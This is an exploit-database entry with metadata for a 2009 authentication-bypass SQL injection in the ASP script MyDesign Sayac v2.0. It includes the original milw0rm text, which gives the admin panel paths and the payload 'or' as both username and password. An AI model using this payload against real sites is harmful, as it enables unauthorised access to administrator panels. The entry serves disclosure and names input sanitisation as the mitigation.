MyDesing Sayac v2.0 Auth Bypass Sql Injection

vendor:

MyDesign Sayac

by:

Kacak

7.5

CVSS

HIGH

Sql Injection

CWE

Product Name: MyDesign Sayac

Affected Version From: 2

Affected Version To: 2

Patch Exists: NO

Related CWE: N/A

CPE: a:mydesign:mydesign_sayac

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

MyDesing Sayac v2.0 Auth Bypass Sql Injection

A vulnerability exists in MyDesing Sayac v2.0 which allows an attacker to bypass authentication by entering 'or' as the username and password. This allows the attacker to gain access to the admin panel.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

#############################################
#---- BY KACAK FROM TERRORÄ°ST CREW        ----#
#############################################

[~]Author : Kacak

[~]Team : Terrorist Crew / Peace Crew

[~]Contact : BuqX@hotmail.Com

[~] Hava Serin Mevzu Derin :D

#############################################

[~]Script :MyDesing Sayac v2.0

[~]Site :http://www.mydesign.gen.tr/myforum/forum_posts.asp?TID=90

[~]Download :http://www.aspindir.com/goster/2801

[~] Vulnerability : (Auth Bypass) Sql Ä°njection

#############################################

  ~ Exploit ~

www.site.com/admin/admin.asp

www.site.com/PATH/admin

UserName : 'or'

Pass : 'or'


#############################################

# milw0rm.com [2009-02-03]